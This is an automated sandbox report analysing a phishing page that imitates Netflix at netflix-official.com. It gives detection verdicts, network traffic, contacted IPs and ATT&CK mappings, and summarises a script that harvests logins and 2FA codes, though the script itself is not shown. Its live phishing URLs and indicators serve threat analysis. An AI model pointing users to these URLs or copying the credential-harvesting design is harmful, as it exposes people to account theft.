Edit tour

Windows Analysis Report
http://netflix-official.com/e/authID=ek3Lf

Overview

General Information

Sample URL:	http://netflix-official.com/e/authID=ek3Lf
Analysis ID:	1621562
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

AI detected suspicious URL

Detected non-DNS traffic on DNS port

HTML body contains password input but no form action

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,8014782350761025771,17155498912635575568,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://netflix-official.com/e/authID=ek3Lf" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://netflix-official.com/e/authID=ek3Lf

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://netflix-official.com/e/js/wallet.js	Avira URL Cloud: Label: phishing
Source: https://netflix-official.com/e/img/nficon2016.ico	Avira URL Cloud: Label: phishing
Source: https://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/js/wallet.js	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/js/sm.js	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/css/none.css	Avira URL Cloud: Label: phishing
Source: https://netflix-official.com/e/img/FB-f-Logo__blue_57.png	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/fonts/nf-icon-v1-93.woff	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/img/FB-f-Logo__blue_57.png	Avira URL Cloud: Label: phishing
Source: https://netflix-official.com/e/js/sm.js	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/img/nficon2016.ico	Avira URL Cloud: Label: phishing
Source: http://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	Avira URL Cloud: Label: phishing
Source: https://netflix-official.com/admin	Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: http://netflix-official.com/e/authID=ek3Lf	Joe Sandbox AI: Score: 9 Reasons: The brand 'Netflix' is a well-known streaming service with a strong online presence., The legitimate domain for Netflix is 'netflix.com'., The URL 'netflix-official.com' contains an extra word 'official', which is a common tactic used in phishing to make the URL appear legitimate., The use of a hyphen in the domain name is suspicious and often associated with phishing attempts., The input fields for 'Email or phone number' and 'Password' are typical targets for phishing to capture user credentials. DOM: 0.0.pages.csv
Source: http://netflix-official.com/e/authID=ek3Lf	Joe Sandbox AI: Score: 9 Reasons: The brand 'Netflix' is a well-known streaming service with a legitimate domain of 'netflix.com'., The URL 'netflix-official.com' contains an extra word 'official', which is a common tactic used in phishing to make the URL appear legitimate., The use of a hyphen in the domain name is suspicious and often associated with phishing attempts., The input fields 'Email or phone number' and 'Password' are typical targets for phishing attacks, especially when associated with a well-known brand like Netflix. DOM: 0.1.pages.csv

AI detected suspicious Javascript

Source: 0.1..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: http://netflix-official.com/e/js/sm.js... This JavaScript code exhibits several high-risk behaviors, including data exfiltration, obfuscated code, and dynamic code execution. The code collects sensitive information such as user credentials, 2FA codes, and account details, and sends them to an unknown destination. Additionally, the code uses base64 encoding to obfuscate the data, which is a common technique used by malicious actors. The presence of functions like `sms_step_click()` and `googleauth_step_click()` that handle login and 2FA authentication flows further increases the risk, as they could be used to bypass security measures. Overall, this code demonstrates a high level of suspicion and should be thoroughly investigated for potential malicious intent.

AI detected suspicious URL

Source: http://netflix-official.com

Joe Sandbox AI: The URL 'netflix-official.com' closely resembles the legitimate Netflix URL 'www.netflix.com'. The use of the word 'official' in the domain name is a common tactic in typosquatting to imply legitimacy and authority, which can mislead users into believing it is an official site. The domain uses a different top-level domain (.com) which is common but does not match the exact structure of the legitimate Netflix URL. There are no subdomains used here that suggest a different legitimate purpose. The structural similarity and the use of 'official' increase the likelihood of user confusion, making it a likely typosquatting attempt.

Source: http://netflix-official.com/e/authID=ek3Lf

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: http://netflix-official.com/e/authID=ek3Lf

HTTP Parser: Has password / email / username input fields

Source: http://netflix-official.com/e/authID=ek3Lf

HTTP Parser: <input type="password" .../> found

Source: http://netflix-official.com/e/authID=ek3Lf	HTTP Parser: No <meta name="author".. found
Source: http://netflix-official.com/e/authID=ek3Lf	HTTP Parser: No <meta name="author".. found

Source: http://netflix-official.com/e/authID=ek3Lf	HTTP Parser: No <meta name="copyright".. found
Source: http://netflix-official.com/e/authID=ek3Lf	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.5:49761 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /e/js/wallet.js HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/js/sm.js HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/FB-f-Logo__blue_57.png HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/nficon2016.ico HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/authID=ek3Lf HTTP/1.1Host: netflix-official.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/css/none.css HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/js/wallet.js HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/js/sm.js HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/FB-f-Logo__blue_57.png HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/fonts/nf-icon-v1-93.woff HTTP/1.1Host: netflix-official.comConnection: keep-aliveOrigin: http://netflix-official.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://netflix-official.com/e/css/none.cssAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /e/img/nficon2016.ico HTTP/1.1Host: netflix-official.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://netflix-official.com/e/authID=ek3LfAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: netflix-official.com

Source: chromecache_70.2.dr	String found in binary or memory: https://bit.ly/2vsWAvJ
Source: chromecache_78.2.dr	String found in binary or memory: https://netflix-official.com/admin
Source: chromecache_70.2.dr	String found in binary or memory: https://www.halifax-online.co.uk/personal/logon/login.jsp

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: classification engine

Classification label: mal72.phis.win@16/29@8/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,8014782350761025771,17155498912635575568,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://netflix-official.com/e/authID=ek3Lf"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,8014782350761025771,17155498912635575568,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://netflix-official.com/e/authID=ek3Lf	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
https://netflix-official.com/e/js/wallet.js	100%	Avira URL Cloud	phishing
https://netflix-official.com/e/img/nficon2016.ico	100%	Avira URL Cloud	phishing
https://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/js/wallet.js	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/js/sm.js	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/css/none.css	100%	Avira URL Cloud	phishing
https://netflix-official.com/e/img/FB-f-Logo__blue_57.png	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/fonts/nf-icon-v1-93.woff	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/img/FB-f-Logo__blue_57.png	100%	Avira URL Cloud	phishing
https://netflix-official.com/e/js/sm.js	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/img/nficon2016.ico	100%	Avira URL Cloud	phishing
http://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	100%	Avira URL Cloud	phishing
https://netflix-official.com/admin	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
netflix-official.com	188.114.96.3	true	true		unknown
www.google.com	172.217.18.4	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://netflix-official.com/e/img/nficon2016.ico	false	Avira URL Cloud: phishing	unknown
https://netflix-official.com/e/js/wallet.js	false	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/img/FB-f-Logo__blue_57.png	true	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/fonts/nf-icon-v1-93.woff	true	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/css/none.css	true	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/authID=ek3Lf	true		unknown
http://netflix-official.com/e/js/sm.js	true	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/js/wallet.js	true	Avira URL Cloud: phishing	unknown
https://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	false	Avira URL Cloud: phishing	unknown
https://netflix-official.com/e/img/FB-f-Logo__blue_57.png	false	Avira URL Cloud: phishing	unknown
https://netflix-official.com/e/js/sm.js	false	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg	true	Avira URL Cloud: phishing	unknown
http://netflix-official.com/e/img/nficon2016.ico	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.halifax-online.co.uk/personal/logon/login.jsp	chromecache_70.2.dr	false		high
https://bit.ly/2vsWAvJ	chromecache_70.2.dr	false		high
https://netflix-official.com/admin	chromecache_78.2.dr	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	netflix-official.com	European Union	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1621562
Start date and time:	2025-02-22 00:50:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://netflix-official.com/e/authID=ek3Lf
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@16/29@8/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 64.233.167.84, 142.250.186.174, 142.250.181.238, 142.250.186.78, 142.250.185.78, 142.250.186.74, 172.217.18.106, 142.250.185.170, 172.217.18.10, 142.250.185.202, 142.250.186.138, 142.250.185.234, 216.58.206.74, 142.250.185.138, 172.217.16.202, 216.58.206.42, 142.250.186.42, 142.250.186.106, 142.250.181.234, 142.250.185.106, 142.250.185.74, 199.232.214.172, 2.23.77.188, 142.250.64.110, 74.125.174.102, 216.58.206.67, 2.19.106.160, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, r1---sn-ab5sznzd.gvt1.com, r1.sn-ab5sznzd.gvt1.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://netflix-official.com/e/authID=ek3Lf

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:51:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974706910323313
Encrypted:	false
SSDEEP:	48:8GdjWTDykpCHJleidAKZdA19ehwiZUklqehgy+3:8/r403y
MD5:	5926A704690B8C3192A6D660424532F7
SHA1:	74AD06537A1A44AE48BAC4DB24A84D251E5F5034
SHA-256:	5713BA25BAD2220E8DF5E66BCEC6E9684FFA30919628381832A64B89D7EE8E01
SHA-512:	5CFA417CB0CFE2749FECFE4B2E15EAA00C7D273C978BF2F6FED5F387C31127F75D9369784855339BA7F97ABB7A37215AEB8277E2751572B418DA6877BD7D343D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IUZn.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZn.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZn.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZn............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZp............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
